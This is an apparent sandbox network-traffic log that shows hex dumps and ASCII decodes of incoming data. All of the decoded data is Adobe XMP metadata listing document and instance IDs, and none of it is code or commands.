2022-05-26 11:46:49 UTC 5848 IN Data Raw: 32 35 44 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 42 31 34 30 36 44 35 33 37 
42 34 44 31 31 44 41 39 42 41 34 43 34 32 42 34 39 35 36 41 30 31 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 
69 3e 75 75 69 64 3a 42 31 36 35 45 44 45 34 46 31 41 36 44 46 31 31 41 42 30 39 39 33 45 35 39 34 45 44 31 41 37 45 
3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 42 31 37 41 36 31 39 30 32 33 33 31 45 30 31 31 3
9 37 36 38 44 45 32 46 35 32 31 31 32 46 36 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 42 
31 43 32 41 32 32 43 41 31 35 46 31 31 44 43 38 41 37 34 38 45 36 39 36 30 38 32 37 43 45 34 3c 2f 72 64 66 3a 6c 69 
3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 42 32 31 38 32 43 33 38 
Data Ascii: 25D8</rdf:li> <rdf:li>uuid:B1406D537B4D11DA9BA4C42B4956A016</rdf:li> <rdf:li>uuid:B165ED
E4F1A6DF11AB0993E594ED1A7E</rdf:li> <rdf:li>uuid:B17A61902331E0119768DE2F52112F6B</rdf:li> <rdf:li>u
uid:B1C2A22CA15F11DC8A748E6960827CE4</rdf:li> <rdf:li>uuid:B2182C38

2022-05-26 11:46:49 UTC 5864 IN Data Raw: 45 31 46 30 42 30 38 42 44 37 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 46 30 
37 33 34 30 38 36 2d 37 34 42 30 2d 34 33 44 42 2d 39 33 43 39 2d 35 33 31 32 45 35 36 30 33 33 34 37 3c 2f 72 64 66 
3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 46 30 38 44 46 31 42 39 37 30 43 43 44 44 31 31 38 32 38 30 39 
43 36 33 34 44 39 38 31 37 43 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 46 30 44 33 46 4
6 33 33 41 45 36 33 44 44 31 31 41 31 43 38 44 42 45 44 35 42 36 46 32 45 44 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 
64 66 3a 6c 69 3e 75 75 69 64 3a 46 31 35 35 37 35 41 35 46 36 32 34 44 45 31 31 41 37 38 41 43 39 37 44 43 43 45 46 
41 34 45 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 
Data Ascii: E1F0B08BD72</rdf:li> <rdf:li>uuid:F0734086-74B0-43DB-93C9-5312E5603347</rdf:li> <rdf:li>uuid:F08DF
1B970CCDD1182809C634D9817C8</rdf:li> <rdf:li>uuid:F0D3FF33AE63DD11A1C8DBED5B6F2ED7</rdf:li> <rdf:li>
uuid:F15575A5F624DE11A78AC97DCCEFA4EB</rdf:li> <rdf:li>uu

2022-05-26 11:46:49 UTC 5872 IN Data Raw: 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 31 38 30 31 31 37 34 30 37 32 30 36 38 31 31 38 
37 31 46 41 35 45 33 36 30 37 41 42 45 38 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 
64 3a 30 31 38 30 31 31 37 34 30 37 32 30 36 38 31 31 38 37 31 46 41 43 32 41 30 46 30 41 32 45 43 36 3c 2f 72 64 66 
3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 31 38 30 31 31 37 34 30 37 32 30 36 38 31 31 38 37 
31 46 42 36 44 34 35 43 43 39 41 35 33 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 
3a 30 31 38 30 31 31 37 34 30 37 32 30 36 38 31 31 38 37 31 46 42 36 45 33 41 31 44 34 37 38 34 35 3c 2f 72 64 66 3a 
6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 31 38 30 31 
Data Ascii: > <rdf:li>xmp.did:0180117407206811871FA5E3607ABE83</rdf:li> <rdf:li>xmp.did:018011740720
6811871FAC2A0F0A2EC6</rdf:li> <rdf:li>xmp.did:0180117407206811871FB6D45CC9A53C</rdf:li> <rdf:li>xmp.
did:0180117407206811871FB6E3A1D47845</rdf:li> <rdf:li>xmp.did:01801

2022-05-26 11:46:49 UTC 5888 IN Data Raw: 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 33 38 30 31 31 37 34 30 37 32 30 36 38 31 31 39 31 30 39 44 
31 34 42 41 36 43 43 35 41 38 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 33 
38 30 31 31 37 34 30 37 32 30 36 38 31 31 39 31 30 39 44 38 38 37 34 37 44 45 41 31 41 37 3c 2f 72 64 66 3a 6c 69 3e 
20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 33 38 30 31 31 37 34 30 37 32 30 36 38 31 31 39 31 30 39 45 32 
31 39 43 31 36 36 36 39 37 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 33 38 
30 31 31 37 34 30 37 32 30 36 38 31 31 39 32 42 30 41 30 32 43 30 43 36 30 42 37 30 41 3c 2f 72 64 66 3a 6c 69 3e 20 
3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 33 38 30 31 31 37 34 30 
Data Ascii: df:li>xmp.did:03801174072068119109D14BA6CC5A8C</rdf:li> <rdf:li>xmp.did:0380117407206811
9109D88747DEA1A7</rdf:li> <rdf:li>xmp.did:03801174072068119109E219C1666972</rdf:li> <rdf:li>xmp.did:0380117407
20681192B0A02C0C60B70A</rdf:li> <rdf:li>xmp.did:038011740

2022-05-26 11:46:49 UTC 5904 IN Data Raw: 46 41 41 46 39 33 43 42 45 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 
30 38 38 30 31 31 37 34 30 37 32 30 36 38 31 31 38 37 31 46 46 34 39 38 33 43 30 43 33 46 46 41 3c 2f 72 64 66 3a 6c 
69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 38 38 30 31 31 37 34 30 37 32 30 36 38 31 31 38 38 43 36 
42 30 43 43 39 35 33 38 34 46 31 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 3
8 38 30 31 31 37 34 30 37 32 30 36 38 31 31 38 38 43 36 42 43 36 37 45 37 31 39 42 32 38 36 3c 2f 72 64 66 3a 6c 69 
3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 38 38 30 31 31 37 34 30 37 32 30 36 38 31 31 38 41 36 44 38 
33 30 32 38 41 42 43 35 38 41 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 
Data Ascii: FAAF93CBE4</rdf:li> <rdf:li>xmp.did:0880117407206811871FF4983C0C3FFA</rdf:li> <rdf:li>xmp.did:0880
11740720681188C6B0CC95384F1C</rdf:li> <rdf:li>xmp.did:088011740720681188C6BC67E719B286</rdf:li> <rdf
:li>xmp.did:08801174072068118A6D83028ABC58A8</rdf:li> <rd
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2022-05-26 11:46:49 UTC 5912 IN Data Raw: 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 43 41 41 44 42 32 36 31 38 32 30 36 38 31 31 38 41 
36 44 43 35 43 34 38 42 44 43 41 37 35 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 
3a 30 43 41 46 38 34 30 37 36 33 32 31 36 38 31 31 38 30 38 33 43 42 34 46 39 31 38 35 42 41 37 33 3c 2f 72 64 66 3a 
6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 43 42 43 44 36 33 34 34 32 32 36 36 38 31 31 38 32 32 
41 46 44 38 45 36 43 42 44 39 38 43 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 
30 43 43 45 37 31 39 38 41 37 35 33 31 31 45 31 39 45 43 42 42 36 32 44 35 46 42 39 46 33 42 37 3c 2f 72 64 66 3a 6c 
69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 43 45 31 30 30 
Data Ascii:  <rdf:li>xmp.did:0CAADB26182068118A6DC5C48BDCA751</rdf:li> <rdf:li>xmp.did:0CAF840763216
8118083CB4F9185BA73</rdf:li> <rdf:li>xmp.did:0CBCD63442266811822AFD8E6CBD98C8</rdf:li> <rdf:li>xmp.d
id:0CCE7198A75311E19ECBB62D5FB9F3B7</rdf:li> <rdf:li>xmp.did:0CE100

2022-05-26 11:46:49 UTC 5928 IN Data Raw: 36 30 34 34 31 32 30 36 38 31 31 42 39 39 30 38 32 33 35 34 39 31 38 38 32 34 36 3c 2f 72 64 66 3a 6c 69 3e 
20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 31 44 42 39 43 46 41 34 35 38 32 30 36 38 31 31 41 42 35 30 39 39 
35 41 39 32 34 43 46 44 42 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 31 44 42 
42 39 31 30 38 30 41 32 30 36 38 31 31 38 43 31 34 46 34 45 46 32 30 45 42 43 38 44 33 3c 2f 72 64 66 3a 6c 69 3e 20 
3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 31 44 43 34 42 31 33 30 39 39 32 33 36 38 31 31 38 46 36 32 44 36 30 
34 41 35 46 43 41 30 34 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 31 44 44 30 
38 30 46 31 32 30 33 41 31 31 45 35 41 31 32 35 42 34 30 41 37 38 31 42 
Data Ascii: 60441206811B990823549188246</rdf:li> <rdf:li>xmp.did:1DB9CFA458206811AB50995A924CFDBA</rdf:li> 
<rdf:li>xmp.did:1DBB91080A2068118C14F4EF20EBC8D3</rdf:li> <rdf:li>xmp.did:1DC4B130992368118F62D604A5FCA
040</rdf:li> <rdf:li>xmp.did:1DD080F1203A11E5A125B40A781B

2022-05-26 11:46:49 UTC 5944 IN Data Raw: 3a 32 44 30 33 31 38 37 38 30 43 32 30 36 38 31 31 39 39 34 43 39 43 36 35 38 41 30 44 36 45 33 45 3c 2f 
72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 44 31 31 30 37 35 42 30 43 32 30 36 38 31 
31 42 42 31 44 41 37 43 37 31 45 42 41 36 46 37 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 6
4 69 64 3a 32 44 31 31 32 46 33 34 38 46 32 31 36 38 31 31 42 38 34 30 41 36 32 46 38 43 46 32 45 39 44 43 3c 2f 72 
64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 44 33 33 30 36 38 43 39 38 32 30 36 38 31 31 
38 30 38 33 41 32 42 36 43 32 38 33 31 33 43 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 
69 64 3a 32 44 33 39 33 46 32 34 32 35 39 42 31 31 45 30 42 35 36 36 38 44 
Data Ascii: :2D0318780C206811994C9C658A0D6E3E</rdf:li> <rdf:li>xmp.did:2D11075B0C206811BB1DA7C71EBA6
F7E</rdf:li> <rdf:li>xmp.did:2D112F348F216811B840A62F8CF2E9DC</rdf:li> <rdf:li>xmp.did:2D33068C98206
8118083A2B6C28313CA</rdf:li> <rdf:li>xmp.did:2D393F24259B11E0B5668D

2022-05-26 11:46:49 UTC 7878 IN Data Raw: 30 39 33 36 44 43 38 32 38 45 41 38 37 45 42 45 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 
6d 70 2e 64 69 64 3a 33 32 65 64 33 64 64 34 2d 33 36 36 65 2d 30 30 34 31 2d 61 33 63 38 2d 34 34 31 35 39 35 61 34 
34 35 64 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 33 33 30 32 63 34 34 61 2d 
36 30 38 37 2d 38 31 34 38 2d 38 35 63 31 2d 65 63 38 37 39 38 33 30 66 61 36 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 6
4 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 33 33 31 32 61 37 32 38 2d 62 30 30 34 2d 34 65 34 65 2d 62 32 62 37 2d 37 
66 38 34 36 62 37 65 65 39 62 63 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 33 33 
32 33 33 33 38 32 41 33 36 32 45 31 31 31 39 44 42 37 43 36 46 35 33 43 
Data Ascii: 0936DC828EA87EBE3</rdf:li> <rdf:li>xmp.did:32ed3dd4-366e-0041-a3c8-441595a445d5</rdf:li> <rdf:li>x
mp.did:3302c44a-6087-8148-85c1-ec879830fa60</rdf:li> <rdf:li>xmp.did:3312a728-b004-4e4e-b2b7-7f846b7ee9bc</rdf
:li> <rdf:li>xmp.did:33233382A362E1119DB7C6F53C

2022-05-26 11:46:49 UTC 7894 IN Data Raw: 44 35 37 30 41 35 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 31 31 
36 45 35 45 33 44 43 32 30 36 38 31 31 38 46 36 32 45 31 35 32 30 45 42 46 32 34 30 31 3c 2f 72 64 66 3a 6c 69 3e 20 
3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 31 31 37 38 42 38 31 38 38 44 34 44 44 31 31 42 46 38 32 38 46 31 
38 44 45 45 41 45 36 38 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 31 31 39 6
3 37 34 66 2d 61 61 33 32 2d 34 35 35 31 2d 61 33 63 33 2d 39 61 32 36 65 39 35 66 31 35 31 31 3c 2f 72 64 66 3a 6c 69 
3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 31 32 30 61 33 37 61 2d 39 37 38 33 2d 34 62 31 36 2d 62 65 
32 63 2d 33 66 36 33 37 38 61 32 62 32 62 39 3c 2f 72 64 66 3a 6c 69 
Data Ascii: D570A5C</rdf:li> <rdf:li>xmp.did:4116E5E3DC2068118F62E1520EBF2401</rdf:li> <rdf:li>xmp.did:41178B8
188D4DD11BF828F18DEEAE683</rdf:li> <rdf:li>xmp.did:4119c74f-aa32-4551-a3c3-9a26e95f1511</rdf:li> <rdf:li>xmp.d
id:4120a37a-9783-4b16-be2c-3f6378a2b2b9</rdf:li

2022-05-26 11:46:49 UTC 7910 IN Data Raw: 34 64 2d 38 32 30 34 2d 33 64 31 66 37 32 30 37 63 35 62 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 
69 3e 78 6d 70 2e 64 69 64 3a 35 31 33 32 34 44 38 44 30 41 32 30 36 38 31 31 38 30 38 33 43 37 44 39 41 46 31 46 31 
34 39 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 31 33 33 41 44 30 44 31 35 
32 30 36 38 31 31 39 35 46 45 44 41 30 39 31 41 45 30 35 31 31 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3
e 78 6d 70 2e 64 69 64 3a 35 31 34 37 32 64 32 61 2d 39 31 61 63 2d 34 33 64 62 2d 39 31 39 37 2d 31 66 35 63 33 32 
36 32 31 37 35 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 31 34 42 34 41 46 
42 39 35 32 35 45 32 31 31 41 36 41 32 38 37 35 34 41 31 41 32 36 36 46 
Data Ascii: 4d-8204-3d1f7207c5b5</rdf:li> <rdf:li>xmp.did:51324D8D0A2068118083C7D9AF1F1492</rdf:li> <rdf:li>xm
p.did:5133AD0D1520681195FEDA091AE05118</rdf:li> <rdf:li>xmp.did:51472d2a-91ac-43db-9197-1f5c32621753</rdf:li> 
<rdf:li>xmp.did:514B4AFB9525E211A6A28754A1A266F

2022-05-26 11:46:49 UTC 7918 IN Data Raw: 38 45 32 44 39 39 41 36 37 36 44 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 
64 3a 35 37 61 30 34 64 38 38 2d 38 39 36 37 2d 34 38 38 36 2d 62 32 62 66 2d 64 38 63 66 63 62 64 36 32 39 31 37 3c 
2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 37 65 65 38 38 66 30 2d 33 61 62 62 2d 
31 30 34 37 2d 62 36 36 61 2d 65 62 62 34 38 62 33 63 32 37 39 62 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3
e 78 6d 70 2e 64 69 64 3a 35 38 30 39 30 36 46 34 33 41 32 30 36 38 31 31 39 34 41 38 41 36 33 32 45 33 41 35 37 32 
38 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 38 31 43 31 31 36 37 35 30 32 
44 45 31 31 31 42 43 32 38 43 41 37 39 31 34 37 30 34 31 33 37 3c 2f 72 
Data Ascii: 8E2D99A676D6</rdf:li> <rdf:li>xmp.did:57a04d88-8967-4886-b2bf-d8cfcbd62917</rdf:li> <rdf:li>xmp.di
d:57ee88f0-3abb-1047-b66a-ebb48b3c279b</rdf:li> <rdf:li>xmp.did:580906F43A20681194A8A632E3A5728F</rdf:li> <rdf
:li>xmp.did:581C1167502DE111BC28CA7914704137</r

2022-05-26 11:46:49 UTC 7934 IN Data Raw: 39 31 30 39 42 45 41 37 31 35 32 42 31 33 32 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 
70 2e 64 69 64 3a 36 37 38 36 31 36 64 32 2d 64 32 33 34 2d 34 35 31 33 2d 38 62 36 32 2d 38 36 32 34 39 39 39 39 30 
37 31 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 36 37 38 38 38 30 45 38 30 39 
32 30 36 38 31 31 39 32 42 30 42 41 41 39 30 34 44 45 30 46 38 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3
e 78 6d 70 2e 64 69 64 3a 36 37 39 45 33 37 39 42 45 31 32 30 36 38 31 31 39 31 30 39 41 32 43 44 31 31 44 44 43 42 
44 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 36 37 41 46 30 37 36 32 45 33 32 
30 36 38 31 31 39 33 37 38 38 36 37 45 32 37 38 30 37 42 30 45 3c 2f 72 
Data Ascii: 9109BEA7152B1323</rdf:li> <rdf:li>xmp.did:678616d2-d234-4513-8b62-862499990715</rdf:li> <rdf:li>xm
p.did:678880E80920681192B0BAA904DE0F8D</rdf:li> <rdf:li>xmp.did:679E379BE12068119109A2CD11DDCBDD</rd
f:li> <rdf:li>xmp.did:67AF0762E32068119378867E27807B0E</r
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2022-05-26 11:46:49 UTC 7950 IN Data Raw: 69 3e 78 6d 70 2e 64 69 64 3a 37 36 31 33 36 66 31 64 2d 62 66 65 33 2d 65 65 34 38 2d 39 35 38 61 2d 35 
61 65 37 31 38 30 35 66 30 39 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 36 
31 43 41 37 46 35 30 46 32 30 36 38 31 31 38 43 31 34 41 36 33 44 31 41 39 33 31 30 44 36 3c 2f 72 64 66 3a 6c 69 3e 
20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 36 31 63 34 36 31 34 2d 62 35 36 65 2d 34 38 31 31 2d 61 63 34 
36 2d 61 36 63 61 65 30 33 64 65 35 30 62 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 
3a 37 36 32 39 38 46 36 38 30 43 32 30 36 38 31 31 39 39 34 43 39 43 36 35 38 41 30 44 36 45 33 45 3c 2f 72 64 66 3a 
6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 36 33 30 38 
Data Ascii: i>xmp.did:76136f1d-bfe3-ee48-958a-5ae71805f092</rdf:li> <rdf:li>xmp.did:761CA7F50F2068118C14A63D1A
9310D6</rdf:li> <rdf:li>xmp.did:761c4614-b56e-4811-ac46-a6cae03de50b</rdf:li> <rdf:li>xmp.did:76298F680C206811
994C9C658A0D6E3E</rdf:li> <rdf:li>xmp.did:76308

2022-05-26 11:46:49 UTC 7957 IN Data Raw: 31 33 38 34 39 35 31 66 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 62 
31 30 35 64 64 33 2d 61 64 37 63 2d 34 36 38 62 2d 39 61 31 39 2d 38 62 66 65 36 64 33 31 33 31 35 34 3c 2f 72 64 66 
3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 62 31 33 30 64 34 31 2d 38 62 37 63 2d 34 30 36 34 
2d 38 32 65 34 2d 64 64 65 33 63 34 39 30 30 37 62 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2
e 64 69 64 3a 37 62 31 66 36 65 39 33 2d 66 38 33 30 2d 32 34 34 63 2d 62 62 34 66 2d 39 36 32 37 37 61 63 37 35 30 
31 61 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 62 35 33 63 36 65 37 2d 36 62 
34 35 2d 34 63 31 62 2d 61 39 65 63 2d 34 34 30 65 35 32 32 66 35 31 32 
Data Ascii: 1384951f</rdf:li> <rdf:li>xmp.did:7b105dd3-ad7c-468b-9a19-8bfe6d313154</rdf:li> <rdf:li>xmp.did:7b130d41-
8b7c-4064-82e4-dde3c49007b0</rdf:li> <rdf:li>xmp.did:7b1f6e93-f830-244c-bb4f-96277ac7501a</rdf:li> <rdf:li>xmp.di
d:7b53c6e7-6b45-4c1b-a9ec-440e522f512

2022-05-26 11:46:49 UTC 7973 IN Data Raw: 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 44 39 46 31 38 46 46 30 37 32 30 36 38 31 31 
38 32 32 41 38 42 33 32 31 34 32 37 42 43 33 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 
69 64 3a 38 44 45 37 39 46 31 42 45 32 32 37 36 38 31 31 38 43 31 34 41 46 39 44 32 37 33 35 41 34 38 33 3c 2f 72 64 
66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 44 46 33 37 31 34 33 39 38 32 32 36 38 31 31 38 
32 32 41 39 45 34 31 38 46 34 35 35 43 35 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 
64 3a 38 45 30 36 46 32 38 37 43 42 32 30 36 38 31 31 38 41 36 44 39 39 30 33 46 36 36 44 38 35 35 34 3c 2f 72 64 66 
3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 45 30 42 
Data Ascii: i> <rdf:li>xmp.did:8D9F18FF07206811822A8B321427BC3F</rdf:li> <rdf:li>xmp.did:8DE79F1BE22
768118C14AF9D2735A483</rdf:li> <rdf:li>xmp.did:8DF3714398226811822A9E418F455C5D</rdf:li> <rdf:li>xmp
.did:8E06F287CB2068118A6D9903F66D8554</rdf:li> <rdf:li>xmp.did:8E0B

2022-05-26 11:46:49 UTC 7989 IN Data Raw: 41 45 30 31 31 42 33 30 38 46 32 45 32 43 42 37 41 30 30 30 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 
6c 69 3e 78 6d 70 2e 64 69 64 3a 39 41 42 39 32 37 38 43 31 37 42 46 31 31 45 31 42 42 32 37 43 46 42 43 41 43 33 33 
46 37 31 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 41 43 33 44 37 31 44 37 
42 32 32 36 38 31 31 41 39 36 31 44 36 30 42 42 46 34 44 33 35 37 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 6
9 3e 78 6d 70 2e 64 69 64 3a 39 41 46 44 33 33 44 46 46 36 32 33 36 38 31 31 39 32 42 30 43 31 34 38 38 35 36 34 43 
46 37 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 42 30 38 30 44 33 46 30 44 
32 31 36 38 31 31 39 37 41 35 43 35 33 35 33 39 39 44 41 36 43 43 3c 2f 
Data Ascii: AE011B308F2E2CB7A000B</rdf:li> <rdf:li>xmp.did:9AB9278C17BF11E1BB27CFBCAC33F71C</rdf:li> 
<rdf:li>xmp.did:9AC3D71D7B226811A961D60BBF4D357D</rdf:li> <rdf:li>xmp.did:9AFD33DFF623681192B0C1488
564CF7E</rdf:li> <rdf:li>xmp.did:9B080D3F0D21681197A5C535399DA6CC</

2022-05-26 11:46:49 UTC 7997 IN Data Raw: 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 41 33 39 43 42 37 46 42 32 38 32 30 36 38 31 31 41 34 
38 32 46 37 45 33 32 32 39 42 31 31 30 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 
3a 41 33 41 44 45 35 46 44 35 45 42 31 45 30 31 31 39 46 41 31 43 35 45 43 31 44 31 30 41 31 36 32 3c 2f 72 64 66 3a 
6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 41 33 42 33 30 38 43 39 33 38 32 30 36 38 31 31 41 37 42 
41 43 35 36 42 46 44 39 33 39 30 30 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 
41 33 42 35 33 41 35 35 34 30 32 30 36 38 31 31 41 44 41 35 38 34 31 30 34 41 30 45 30 31 42 43 3c 2f 72 64 66 3a 6c 
69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 41 33 42 36 41 43 
Data Ascii:  <rdf:li>xmp.did:A39CB7FB28206811A482F7E3229B110C</rdf:li> <rdf:li>xmp.did:A3ADE5FD5EB1E
0119FA1C5EC1D10A162</rdf:li> <rdf:li>xmp.did:A3B308C938206811A7BAC56BFD939003</rdf:li> <rdf:li>xmp.d
id:A3B53A5540206811ADA584104A0E01BC</rdf:li> <rdf:li>xmp.did:A3B6AC

2022-05-26 11:46:49 UTC 8013 IN Data Raw: 36 39 30 31 41 45 32 31 31 38 37 36 31 45 38 45 46 42 33 36 37 44 39 36 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 
72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 42 43 33 41 44 34 45 41 30 37 32 30 36 38 31 31 38 30 38 33 46 34 43 31 
44 33 42 37 32 32 31 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 42 43 34 42 31 
33 34 35 33 45 32 33 36 38 31 31 41 39 46 42 46 39 34 36 33 33 34 30 44 39 44 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 6
4 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 42 43 35 36 37 37 41 41 39 30 32 30 36 38 31 31 38 30 38 33 41 32 42 36 43 
32 38 33 31 33 43 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 42 43 35 44 38 35 
30 30 37 36 33 35 31 31 44 46 42 38 32 33 46 31 43 43 42 38 41 41 30 34 
Data Ascii: 6901AE2118761E8EFB367D965</rdf:li> <rdf:li>xmp.did:BC3AD4EA072068118083F4C1D3B72213</rdf:li> 
<rdf:li>xmp.did:BC4B13453E236811A9FBF9463340D9D1</rdf:li> <rdf:li>xmp.did:BC5677AA902068118083A
